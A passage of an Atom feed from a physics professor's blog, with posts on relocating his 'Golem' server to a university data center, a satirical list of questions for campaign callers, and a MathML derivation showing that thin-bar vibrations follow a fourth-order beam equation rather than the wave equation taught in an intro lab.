  1217.    <updated>2014-09-18T01:10:25Z</updated>
  1218.    <published>2014-08-19T15:05:07-06:00</published>
  1219.    <id>tag:golem.ph.utexas.edu,2014:%2F~distler%2Fblog%2F1.2763</id>
  1220.    <summary type="text">A new Golem, and a new home.</summary>
  1221.    <author>
  1222.      <name>distler</name>
  1223.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  1224.      <email>[email protected]</email>
  1225.    </author>
  1226.    <category term="Computers" />
  1227.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002763.html">
  1228.      <div xmlns="http://www.w3.org/1999/xhtml">
  1229. <p>For nearly 20 years, Golem has been the machine on my desk. It&#8217;s been my mail server, web server, file server, &#8230; ; it&#8217;s run Mathematica and TeX and compiled software for me. Of course, it hasn&#8217;t been the same physical machine all these years. Like <a href="http://www.bbc.co.uk/programmes/b006q2x0">Doctor Who</a>, it&#8217;s gone through several <a href="http://golem.ph.utexas.edu/~distler/blog/archives/002211.html">reincarnations</a>. </p>
  1230.  
  1231. <p>Alas, <a href="https://www.utexas.edu/its/udc/commodity/index.php">word came down</a> from the Provost that all &#8220;servers&#8221; must move (physically or virtually) to the <a href="https://www.utexas.edu/its/udc/index.php">University Data Center</a>. And, bewilderingly, the machine on my desk counted as a &#8220;server.&#8221;</p>
  1232.  
  1233. <p>Obviously, a 27&#8221; iMac wasn&#8217;t going to make such a move. And, equally obvious, it would have been rather difficult to replace/migrate all of the stuff I have running on the current Golem. So we had to go out shopping for Golem V. The iMac stayed on my desk; the machine that moved to the Data Center is a new Mac Mini </p>
  1234.  
  1235. <div class="centeredfigure" style="overflow:auto;height:670px;width:540px;">
  1236. <img style="width:540px;height:360px" src="https://golem.ph.utexas.edu/~distler/blog/images/Golem_V.jpg" alt="The new Mac Mini"/><br/>
  1237. <img style="width:540px;height:267px" src="https://golem.ph.utexas.edu/~distler/blog/images/Golem_V_side.jpg" alt="side view"/><br/>
  1238. <span class="figurecaption">Golem V, all labeled and ready to go</span></div>
  1239.  
  1240. <ul>
  1241. <li>2.3 GHz quad-core Intel Core i7 (8 logical cores, via <a href="http://en.wikipedia.org/wiki/Hyper-threading">hyperthreading</a>)</li>
  1242. <li>16 GB <acronym title="Random Access Memory">RAM</acronym></li>
  1243. <li>480 GB SSD       (main drive)</li>
  1244. <li>1 TB HD          (Time Machine backup)</li>
  1245. <li>1 TB external HD (<a href="http://www.bombich.com/"><abbr title="CarbonCopyCloner">CCC</abbr></a> clone of the main drive)</li>
  1246. <li>Dual 1 Gigabit Ethernet Adapters, bonded via <a href="http://support.apple.com/kb/PH14045"><abbr title="Link Aggregation Control Protocol">LACP</abbr></a></li>
  1247. </ul>
  1248.  
  1249. <p>In addition to the dual network interface, it (along with, I gather, a rack <a href="http://www.sonnettech.com/product/rackmacmini.html">full</a> of other Mac Minis) is plugged into an <a href="http://www.apc.com/products/family/index.cfm?id=14"><abbr title="Automatic Transfer Switch">ATS</abbr></a>, to take advantage of the dual redundant power supply at the Data Center.</p>
  1250.  
  1251. <p>Not as convenient, for me, as having it on my desk, but I&#8217;m sure the new Golem will enjoy the austere hum of the Data Center much better than the messy cacophony of my office.</p>
  1252.  
  1253. <hr />
  1254.  
  1255. <p>I did get a tour of the Data Center out of the deal. Two things stood out for me.</p>
  1256.  
  1257. <ol>
  1258. <li>Most UPSs involve large banks of lead-acid batteries. The <a href="http://ir.activepower.com/phoenix.zhtml?c=122065&amp;p=irol-newsArticle&amp;ID=1510255">UPS</a>s at the University Data Center use <a href="http://www.activepower.com/upssystems/cleansource/">flywheels</a>. They comprise a long row of refrigerator-sized cabinets which give off a persistent hum due to the humongous flywheels rotating in <em>vacuum</em> within.</li>
  1259. <li>The server cabinets are painted the standard generic white. But, for the networking cabinets, the University went to some expense to get them custom-painted &#8230; <a href="http://www.utexas.edu/brand-guidelines/visual-style-guide/color">burnt orange</a>.</li>
  1260. </ol>
  1261.  
  1262. <div class="centeredfigure" style="overflow:auto;height:358px;width:250px;">
  1263. <img style="width:250px;height:348px" src="https://golem.ph.utexas.edu/~distler/blog/images/burnt_orange.jpg" alt="Custom paint job on the networking cabinets."/></div>
  1264.  
  1265.      </div>
  1266.    </content>
  1267.  </entry>
  1268.  <entry>
  1269.    <title type="html">Questions</title>
  1270.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002703.html" />
  1271.    <updated>2014-02-25T03:30:46Z</updated>
  1272.    <published>2014-02-24T21:30:34-06:00</published>
  1273.    <id>tag:golem.ph.utexas.edu,2014:%2F~distler%2Fblog%2F1.2703</id>
  1274.    <summary type="text">What to ask when campaign workers call</summary>
  1275.    <author>
  1276.      <name>distler</name>
  1277.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  1278.      <email>[email protected]</email>
  1279.    </author>
  1280.    <category term="IDiocy" />
  1281.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002703.html">
  1282.      <div xmlns="http://www.w3.org/1999/xhtml">
  1283. <p>My eldest turned 18 and voted in her first Primary election this week. This being Texas, she decided to register as a Republican. Which means that, soon, we will start fielding phone calls from political campaigns. So I drafted a set of questions to ask the earnest campaign workers when they call.</p>
  1284.  
  1285. <ul>
  1286. <li>Where does your candidate stand on 2nd Amendment rights for the unborn? Would he support an extension of &#8220;Concealed Carry&#8221; laws to cover this?</li>
  1287. <li>Will your candidate take a firm stand against creeping Government control of our healthcare system, and vote to repeal Medicare?</li>
  1288. <li>Does your candidate support traditional marriage, as it&#8217;s defined in the Bible: between one man and up to three women?</li>
  1289. <li>Would your candidate support repealing the Capital Gains Tax and replacing it with a Flat Tax on poor people?</li>
  1290. <li>Has your candidate&#8217;s position on  &#8230; [name an issue] &#8230; evolved? Because I don&#8217;t believe in Evolution.</li>
  1291. </ul>
  1292.  
  1293. <p>These ought to last us for a little while. More suggestions welcome.</p>
  1294.  
  1295.      </div>
  1296.    </content>
  1297.  </entry>
  1298.  <entry>
  1299.    <title type="html">Lying</title>
  1300.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002702.html" />
  1301.    <updated>2014-02-24T02:50:14Z</updated>
  1302.    <published>2014-02-22T15:55:56-06:00</published>
  1303.    <id>tag:golem.ph.utexas.edu,2014:%2F~distler%2Fblog%2F1.2702</id>
  1304.    <summary type="text">Undergraduate lab is evil.</summary>
  1305.    <author>
  1306.      <name>distler</name>
  1307.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  1308.      <email>[email protected]</email>
  1309.    </author>
  1310.    <category term="Physics" />
  1311.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002702.html">
  1312.      <div xmlns="http://www.w3.org/1999/xhtml">
  1313. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  1314.  
  1315. <p>Sometimes, for the sake of pedagogy, it is best to suppress some of the ugly details, in order to give a clear exposition of the <em>idea</em> behind a particular concept one is trying to teach. But clarity isn&#8217;t achieved by outright lies. And I always find myself frustrated when our introductory courses descend to the latter.</p>
  1316.  
  1317. <p>My colleague, <a href="http://zippy.ph.utexas.edu/~paban/">Sonia</a>, is teaching the introductory &#8220;Waves&#8221; course (<a href="http://www.ph.utexas.edu/undergrad/freshman-sophomore.php">Phy 315</a>) which, as you might imagine, is all about solving the equation</p>
  1318.  
  1319. <div class="numberedEq" id="e2702:waveeqn"><span>(1)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mn>0</mn><mo>=</mo><mrow><mo>(</mo><mfrac><mrow><msup><mo>&#x02202;</mo> <mn>2</mn></msup></mrow><mrow><msup><mrow><mo>&#x02202;</mo><mi>t</mi></mrow> <mn>2</mn></msup></mrow></mfrac><mo>&#x02212;</mo><msup><mi>c</mi> <mn>2</mn></msup><mfrac><mrow><msup><mo>&#x02202;</mo> <mn>2</mn></msup></mrow><mrow><msup><mrow><mo>&#x02202;</mo><mi>x</mi></mrow> <mn>2</mn></msup></mrow></mfrac><mo>)</mo></mrow><mi>u</mi><mo stretchy="false">(</mo><mi>x</mi><mo>,</mo><mi>t</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>0 = \left(\frac{\partial^2}{{\partial t}^2} &#x2d; c^2 \frac{\partial^2}{{\partial x}^2}\right) u(x,t)
  1320. </annotation></semantics></math></div>
  1321.  
  1322. <p>This has travelling wave solutions, with dispersion relation</p>
  1323.  
  1324. <div class="numberedEq" id="e2702:dispersion"><span>(2)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msup><mrow><mi>&#x003C9;</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow> <mn>2</mn></msup><mo>=</mo><msup><mi>c</mi> <mn>2</mn></msup><msup><mi>k</mi> <mn>2</mn></msup></mrow><annotation encoding='application/x-tex'>{\omega(k)}^2 = c^2 k^2
  1325. </annotation></semantics></math></div>
  1326.  
  1327. <p>If you study solutions to (<a href="#e2702:waveeqn">1</a>), on the interval <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mo stretchy="false">[</mo><mn>0</mn><mo>,</mo><mi>L</mi><mo stretchy="false">]</mo></mrow><annotation encoding='application/x-tex'>[0,L]</annotation></semantics></math>, with &#8220;free&#8221; boundary conditions at the endpoints,</p>
  1328.  
  1329. <div class="numberedEq" id="e2702:freeBC"><span>(3)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mrow><mfrac><mrow><mo>&#x02202;</mo><mi>u</mi></mrow><mrow><mo>&#x02202;</mo><mi>x</mi></mrow></mfrac><mo>&#x0007C;</mo></mrow> <mrow><mi>x</mi><mo>=</mo><mn>0</mn><mo>,</mo><mi>L</mi></mrow></msub><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>\left.\frac{\partial u}{\partial x}\right\vert_{x=0,L} = 0
  1330. </annotation></semantics></math></div>
  1331.  
  1332. <p>you find standing wave solutions
  1333. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>u</mi><mo stretchy="false">(</mo><mi>x</mi><mo>,</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><mi>A</mi><mi>cos</mi><mo stretchy="false">(</mo><mi>k</mi><mi>x</mi><mo stretchy="false">)</mo><mi>cos</mi><mo stretchy="false">(</mo><mi>c</mi><mi>k</mi><mi>t</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>
  1334.   u(x,t) = A \cos(k x)\cos( c k t)
  1335. </annotation></semantics></math>
  1336. where the boundary condition at <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>x</mi><mo>=</mo><mi>L</mi></mrow><annotation encoding='application/x-tex'>x=L</annotation></semantics></math> imposes</p>
  1337.  
  1338. <div class="numberedEq" id="e2702:modes"><span>(4)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>sin</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn><mspace width="2em"/><mtext>or</mtext><mspace width="2em"/><mi>k</mi><mi>L</mi><mo>=</mo><mi>n</mi><mi>&#x003C0;</mi><mo>,</mo><mspace width="0.16667em"/><mi>n</mi><mo>=</mo><mn>1</mn><mo>,</mo><mn>2</mn><mo>,</mo><mi>&#x02026;</mi></mrow><annotation encoding='application/x-tex'>\sin(k L) = 0\qquad \text{or}\qquad k L = n\pi,\, n=1,2,\dots
  1339. </annotation></semantics></math></div>
  1340.  
  1341. <p>The first couple of these &#8220;normal modes&#8221; look like</p>
  1342.  
  1343. <div class="numberedEq" id="e2702:normalmodes"><span>(5)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mrow><mtable displaystyle="false" rowspacing="0.5ex"><mtr><mtd><semantics><annotation-xml encoding="SVG1.1">
  1344. <svg width="240" height="102" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.org/2000/svg" xmlns:se="http://svg-edit.googlecode.com" xmlns:math="http://www.w3.org/1998/Math/MathML">
  1345. <g>
  1346.  <title>Layer 1</title>
  1347.  <path id="svg_36902_1" d="m220,101c-100,0 -100,-100 -200,-100" stroke-width="2" stroke="#ff0000" fill="none"/>
  1348.  <line fill="none" stroke="#000000" stroke-width="2" x1="20" y1="51" x2="220" y2="51" id="svg_36902_2"/>
  1349.  <foreignObject height="20" width="40" font-size="16" id="svg_36902_3" y="51" x="0">
  1350.   <math display="inline" xmlns="http://www.w3.org/1998/Math/MathML">
  1351.    <semantics>
  1352.     <mrow>
  1353.      <mi>x</mi>
  1354.      <mo>=</mo>
  1355.      <mn>0</mn>
  1356.     </mrow>
  1357.     <annotation encoding="application/x-tex">x=0</annotation>
  1358.    </semantics>
  1359.   </math>
  1360.  </foreignObject>
  1361.  <foreignObject id="svg_36902_4" height="20" width="40" font-size="16" y="51" x="200">
  1362.   <math display="inline" xmlns="http://www.w3.org/1998/Math/MathML">
  1363.    <semantics>
  1364.     <mrow>
  1365.      <mi>x</mi>
  1366.      <mo>=</mo>
  1367.      <mi>L</mi>
  1368.     </mrow>
  1369.     <annotation encoding="application/x-tex">x=L</annotation>
  1370.    </semantics>
  1371.   </math>
  1372.  </foreignObject>
  1373. </g>
  1374. </svg>
  1375. </annotation-xml></semantics></mtd> <mtd><semantics><annotation-xml encoding="SVG1.1">
  1376. <svg width="240" height="102" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.org/2000/svg" xmlns:se="http://svg-edit.googlecode.com" xmlns:math="http://www.w3.org/1998/Math/MathML">
  1377. <g>
  1378.  <title>Layer 1</title>
  1379.  <line fill="none" stroke="#000000" stroke-width="2" x1="20" y1="51" x2="220" y2="51" id="svg_36903_2"/>
  1380.  <foreignObject height="20" width="40" font-size="16" id="svg_36903_3" y="51" x="0">
  1381.   <math display="inline" xmlns="http://www.w3.org/1998/Math/MathML">
  1382.    <semantics>
  1383.     <mrow>
  1384.      <mi>x</mi>
  1385.      <mo>=</mo>
  1386.      <mn>0</mn>
  1387.     </mrow>
  1388.     <annotation encoding="application/x-tex">x=0</annotation>
  1389.    </semantics>
  1390.   </math>
  1391.  </foreignObject>
  1392.  <foreignObject id="svg_36903_4" height="20" width="40" font-size="16" y="51" x="200">
  1393.   <math display="inline" xmlns="http://www.w3.org/1998/Math/MathML">
  1394.    <semantics>
  1395.     <mrow>
  1396.      <mi>x</mi>
  1397.      <mo>=</mo>
  1398.      <mi>L</mi>
  1399.     </mrow>
  1400.     <annotation encoding="application/x-tex">x=L</annotation>
  1401.    </semantics>
  1402.   </math>
  1403.  </foreignObject>
  1404.  <path fill="none" stroke="#ff0000" stroke-width="2" d="m20,1c50,0 50,100 100,100c43,0 50,-100 100,-100" id="svg_36903_5" fill-opacity="0"/>
  1405. </g>
  1406. </svg>
  1407. </annotation-xml></semantics></mtd></mtr> <mtr><mtd><mi>n</mi><mo>=</mo><mn>1</mn></mtd> <mtd><mi>n</mi><mo>=</mo><mn>2</mn></mtd></mtr></mtable></mrow></mrow><annotation encoding='application/x-tex'>\begin{matrix}
  1408. \begin{svg}
  1409. &lt;svg width=&quot;240&quot; height=&quot;102&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:svg=&quot;http://www.w3.org/2000/svg&quot; xmlns:se=&quot;http://svg&#x2d;edit.googlecode.com&quot; xmlns:math=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;
  1410. &lt;g&gt;
  1411.  &lt;title&gt;Layer 1&lt;/title&gt;
  1412.  &lt;path id=&quot;svg_36902_1&quot; d=&quot;m220,101c&#x2d;100,0 &#x2d;100,&#x2d;100 &#x2d;200,&#x2d;100&quot; stroke&#x2d;width=&quot;2&quot; stroke=&quot;#ff0000&quot; fill=&quot;none&quot;/&gt;
  1413.  &lt;line fill=&quot;none&quot; stroke=&quot;#000000&quot; stroke&#x2d;width=&quot;2&quot; x1=&quot;20&quot; y1=&quot;51&quot; x2=&quot;220&quot; y2=&quot;51&quot; id=&quot;svg_36902_2&quot;/&gt;
  1414.  &lt;foreignObject height=&quot;20&quot; width=&quot;40&quot; font&#x2d;size=&quot;16&quot; id=&quot;svg_36902_3&quot; y=&quot;51&quot; x=&quot;0&quot;&gt;
  1415.   &lt;math display=&quot;inline&quot; xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;
  1416.    &lt;semantics&gt;
  1417.     &lt;mrow&gt;
  1418.      &lt;mi&gt;x&lt;/mi&gt;
  1419.      &lt;mo&gt;=&lt;/mo&gt;
  1420.      &lt;mn&gt;0&lt;/mn&gt;
  1421.     &lt;/mrow&gt;
  1422.     &lt;annotation encoding=&quot;application/x&#x2d;tex&quot;&gt;x=0&lt;/annotation&gt;
  1423.    &lt;/semantics&gt;
  1424.   &lt;/math&gt;
  1425.  &lt;/foreignObject&gt;
  1426.  &lt;foreignObject id=&quot;svg_36902_4&quot; height=&quot;20&quot; width=&quot;40&quot; font&#x2d;size=&quot;16&quot; y=&quot;51&quot; x=&quot;200&quot;&gt;
  1427.   &lt;math display=&quot;inline&quot; xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;
  1428.    &lt;semantics&gt;
  1429.     &lt;mrow&gt;
  1430.      &lt;mi&gt;x&lt;/mi&gt;
  1431.      &lt;mo&gt;=&lt;/mo&gt;
  1432.      &lt;mi&gt;L&lt;/mi&gt;
  1433.     &lt;/mrow&gt;
  1434.     &lt;annotation encoding=&quot;application/x&#x2d;tex&quot;&gt;x=L&lt;/annotation&gt;
  1435.    &lt;/semantics&gt;
  1436.   &lt;/math&gt;
  1437.  &lt;/foreignObject&gt;
  1438. &lt;/g&gt;
  1439. &lt;/svg&gt;
  1440. \end{svg}
  1441. &amp;
  1442. \begin{svg}
  1443. &lt;svg width=&quot;240&quot; height=&quot;102&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:svg=&quot;http://www.w3.org/2000/svg&quot; xmlns:se=&quot;http://svg&#x2d;edit.googlecode.com&quot; xmlns:math=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;
  1444. &lt;g&gt;
  1445.  &lt;title&gt;Layer 1&lt;/title&gt;
  1446.  &lt;line fill=&quot;none&quot; stroke=&quot;#000000&quot; stroke&#x2d;width=&quot;2&quot; x1=&quot;20&quot; y1=&quot;51&quot; x2=&quot;220&quot; y2=&quot;51&quot; id=&quot;svg_36903_2&quot;/&gt;
  1447.  &lt;foreignObject height=&quot;20&quot; width=&quot;40&quot; font&#x2d;size=&quot;16&quot; id=&quot;svg_36903_3&quot; y=&quot;51&quot; x=&quot;0&quot;&gt;
  1448.   &lt;math display=&quot;inline&quot; xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;
  1449.    &lt;semantics&gt;
  1450.     &lt;mrow&gt;
  1451.      &lt;mi&gt;x&lt;/mi&gt;
  1452.      &lt;mo&gt;=&lt;/mo&gt;
  1453.      &lt;mn&gt;0&lt;/mn&gt;
  1454.     &lt;/mrow&gt;
  1455.     &lt;annotation encoding=&quot;application/x&#x2d;tex&quot;&gt;x=0&lt;/annotation&gt;
  1456.    &lt;/semantics&gt;
  1457.   &lt;/math&gt;
  1458.  &lt;/foreignObject&gt;
  1459.  &lt;foreignObject id=&quot;svg_36903_4&quot; height=&quot;20&quot; width=&quot;40&quot; font&#x2d;size=&quot;16&quot; y=&quot;51&quot; x=&quot;200&quot;&gt;
  1460.   &lt;math display=&quot;inline&quot; xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;
  1461.    &lt;semantics&gt;
  1462.     &lt;mrow&gt;
  1463.      &lt;mi&gt;x&lt;/mi&gt;
  1464.      &lt;mo&gt;=&lt;/mo&gt;
  1465.      &lt;mi&gt;L&lt;/mi&gt;
  1466.     &lt;/mrow&gt;
  1467.     &lt;annotation encoding=&quot;application/x&#x2d;tex&quot;&gt;x=L&lt;/annotation&gt;
  1468.    &lt;/semantics&gt;
  1469.   &lt;/math&gt;
  1470.  &lt;/foreignObject&gt;
  1471.  &lt;path fill=&quot;none&quot; stroke=&quot;#ff0000&quot; stroke&#x2d;width=&quot;2&quot; d=&quot;m20,1c50,0 50,100 100,100c43,0 50,&#x2d;100 100,&#x2d;100&quot; id=&quot;svg_36903_5&quot; fill&#x2d;opacity=&quot;0&quot;/&gt;
  1472. &lt;/g&gt;
  1473. &lt;/svg&gt;
  1474. \end{svg}&#92;
  1475. n=1&amp;n=2
  1476. \end{matrix}
  1477. </annotation></semantics></math></div>
  1478.  
  1479. <p>To &#8220;illustrate&#8221; this, in their compulsory lab accompanying the course, the students were given the task of measuring the normal modes of a thin metal bar, with free boundary conditions at each end, sinusoidally driven by an electromagnet (of adjustable frequency).</p>
  1480.  
  1481. <p>Unfortunately, this &#8220;illustration&#8221; is a <em>complete lie</em>. The transverse oscillations of the metal bar are governed by an equation which is not even <em>approximately</em> like (<a href="#e2702:waveeqn">1</a>); the dispersion relation looks nothing like (<a href="#e2702:dispersion">2</a>); &#8220;free boundary conditions&#8221; look nothing like (<a href="#e2702:freeBC">3</a>) and therefore it should not surprise you that the normal modes look nothing like (<a href="#e2702:modes">4</a>).</p>
  1482.  
  1483. <p>Unfortunately, so inured are they to this sort of thing, that only <em>one</em> (out of 120!) students noticed that something was amiss in their experiment. &#8220;Hey,&#8221; he emailed Sonia, &#8220;Why is the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>n</mi><mo>=</mo><mn>1</mn></mrow><annotation encoding='application/x-tex'>n=1</annotation></semantics></math> mode absent?&#8221;</p>
  1484.  
  1485. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  1486. Rather than the 2<sup>nd</sup>-order wave equation, the transverse vibrations of the thin bar are <a href='http://en.wikipedia.org/wiki/Euler%E2%80%93Bernoulli_beam_theory'>governed</a> by a 4<sup>th</sup>-order equation
  1487.  
  1488. <div class='numberedEq' id='e2702:Euler'><span>(6)</span>
  1489. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mn>0</mn><mo>=</mo><mrow><mo>(</mo><mfrac><mrow><msup><mo>&#x02202;</mo> <mn>2</mn></msup></mrow><mrow><msup><mrow><mo>&#x02202;</mo><mi>t</mi></mrow> <mn>2</mn></msup></mrow></mfrac><mo>+</mo><msup><mi>b</mi> <mn>2</mn></msup><mfrac><mrow><msup><mo>&#x02202;</mo> <mn>4</mn></msup></mrow><mrow><msup><mrow><mo>&#x02202;</mo><mi>x</mi></mrow> <mn>4</mn></msup></mrow></mfrac><mo>)</mo></mrow><mi>u</mi><mo stretchy="false">(</mo><mi>x</mi><mo>,</mo><mi>t</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>
  1490.    0 = \left(\frac{\partial^2}{{\partial t}^2} + b^2 \frac{\partial^4}{{\partial x}^4}\right) u(x,t)
  1491. </annotation></semantics></math>
  1492. </div>
  1493.  
  1494. <p>The dispersion relation,
  1495. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msup><mrow><mi>&#x003C9;</mi><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow> <mn>2</mn></msup><mo>=</mo><msup><mi>b</mi> <mn>2</mn></msup><msup><mi>k</mi> <mn>4</mn></msup></mrow><annotation encoding='application/x-tex'>
  1496.   {\omega(k)}^2 = b^2 k^4
  1497. </annotation></semantics></math>
  1498. admits both real and <em>pure-imaginary</em> wavenumbers. So the general standing-wave solution has the form (for real <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>k</mi></mrow><annotation encoding='application/x-tex'>k</annotation></semantics></math>)
  1499. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>u</mi><mo stretchy="false">(</mo><mi>x</mi><mo>,</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">[</mo><msub><mi>A</mi> <mn>1</mn></msub><mi>cosh</mi><mo stretchy="false">(</mo><mi>k</mi><mi>x</mi><mo stretchy="false">)</mo><mo>+</mo><msub><mi>A</mi> <mn>2</mn></msub><mi>sinh</mi><mo stretchy="false">(</mo><mi>k</mi><mi>x</mi><mo stretchy="false">)</mo><mo>+</mo><msub><mi>A</mi> <mn>3</mn></msub><mi>cos</mi><mo stretchy="false">(</mo><mi>k</mi><mi>x</mi><mo stretchy="false">)</mo><mo>+</mo><msub><mi>A</mi> <mn>4</mn></msub><mi>sin</mi><mo stretchy="false">(</mo><mi>k</mi><mi>x</mi><mo stretchy="false">)</mo><mo stretchy="false">]</mo><mi>cos</mi><mo stretchy="false">(</mo><mi>b</mi><msup><mi>k</mi> <mn>2</mn></msup><mi>t</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>
  1500.  u(x,t) = [A_1 \cosh(k x)+A_2 \sinh(k x)+A_3 \cos(k x)+A_4 \sin(k x)]\cos(b k^2 t)
  1501. </annotation></semantics></math>
  1502. &#8220;Free&#8221; boundary conditions for (<a href="#e2702:Euler">6</a>) are a <em>pair</em> of conditions at each boundary,
  1503. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mrow><mfrac><mrow><msup><mo>&#x02202;</mo> <mn>2</mn></msup><mi>u</mi></mrow><mrow><msup><mrow><mo>&#x02202;</mo><mi>x</mi></mrow> <mn>2</mn></msup></mrow></mfrac><mo>&#x0007C;</mo></mrow> <mrow><mi>x</mi><mo>=</mo><mn>0</mn><mo>,</mo><mi>L</mi></mrow></msub><mo>=</mo><mn>0</mn><mo>,</mo><mspace width="2em"/><msub><mrow><mfrac><mrow><msup><mo>&#x02202;</mo> <mn>3</mn></msup><mi>u</mi></mrow><mrow><msup><mrow><mo>&#x02202;</mo><mi>x</mi></mrow> <mn>3</mn></msup></mrow></mfrac><mo>&#x0007C;</mo></mrow> <mrow><mi>x</mi><mo>=</mo><mn>0</mn><mo>,</mo><mi>L</mi></mrow></msub><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>
  1504.  \left.\frac{\partial^2 u}{{\partial x}^2}\right\vert_{x=0,L} = 0,\qquad \left.\frac{\partial^3 u}{{\partial x}^3}\right\vert_{x=0,L} = 0
  1505. </annotation></semantics></math>
  1506. Imposing the boundary conditions at <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>x</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>x=0</annotation></semantics></math> yields
  1507. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>A</mi> <mn>3</mn></msub><mo>=</mo><msub><mi>A</mi> <mn>1</mn></msub><mo>,</mo><mspace width="1em"/><msub><mi>A</mi> <mn>4</mn></msub><mo>=</mo><msub><mi>A</mi> <mn>2</mn></msub></mrow><annotation encoding='application/x-tex'>
  1508.   A_3=A_1,\quad A_4 =A_2
  1509. </annotation></semantics></math>
  1510. To satisfy the boundary conditions at <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>x</mi><mo>=</mo><mi>L</mi></mrow><annotation encoding='application/x-tex'>x=L</annotation></semantics></math> then requires
  1511. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>det</mi><mrow><mo>(</mo><mrow><mtable displaystyle="false" rowspacing="0.5ex"><mtr><mtd><mi>cosh</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo><mo>&#x02212;</mo><mi>cos</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo></mtd> <mtd><mi>sinh</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo><mo>&#x02212;</mo><mi>sin</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo></mtd></mtr> <mtr><mtd><mi>sinh</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo><mo>+</mo><mi>sin</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo></mtd> <mtd><mi>cosh</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo><mo>&#x02212;</mo><mi>cos</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo></mtd></mtr></mtable></mrow><mo>)</mo></mrow><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>
  1512.   \det\begin{pmatrix}\cosh(k L) &#x2d; \cos(k L)&amp;\sinh(k L) &#x2d; \sin(k L)\\ \sinh(k L) + \sin(k L)&amp; \cosh(k L) &#x2d; \cos(k L)\end{pmatrix}=0
  1513. </annotation></semantics></math>
  1514. or</p>
  1515.  
  1516. <div class='numberedEq' id='e2702:newmodes'><span>(7)</span>
  1517. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>cosh</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo><mi>cos</mi><mo stretchy="false">(</mo><mi>k</mi><mi>L</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding='application/x-tex'>
